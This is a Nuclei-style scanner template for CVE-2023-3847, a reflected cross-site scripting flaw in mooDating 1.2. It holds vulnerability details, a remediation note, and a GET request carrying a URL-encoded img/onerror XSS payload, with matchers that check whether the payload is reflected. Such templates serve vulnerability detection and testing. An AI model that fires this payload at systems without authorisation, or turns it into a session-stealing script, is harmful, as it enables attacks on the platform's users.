id: CVE-2023-3847

info:
  name: MooDating 1.2 - Cross-Site scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability classified as problematic was found in mooSocial mooDating 1.2. This vulnerability affects unknown code of the file /users of the component URL Handler. The manipulation leads to cross site scripting. The attack can be initiated remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the URL Handler in the users component, potentially stealing session cookies and credentials from users of the mooDating platform.
  remediation: |
    Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes URL parameters in the users component and encodes output to prevent XSS attacks.
  reference:
    - https://packetstormsecurity.com/files/173691/mooDating-1.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3847
    - https://vuldb.com/?ctiid.235198
    - https://vuldb.com/?id.235198
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3847
    cwe-id: CWE-79
    epss-score: 0.03648
    epss-percentile: 0.88143
    cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moodating
  tags: cve2023,cve,packetstorm,xss,moodating,moosocial,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/users/viewi1omd%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3el43yn/108?tab=activity"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "><img src=a onerror=alert(document.domain)>","mooDating")'
        condition: and
# digest: 4a0a00473045022038f1789aabe4e79aaaa95cee7a6a9935b5236e16bc91245515d4afe18d7d912e022100d08b2d56b5f6e878a2e2ef218d7abb037829000f597c375034da89c5986d5495:922c64590222798bb761d5b6d8e72950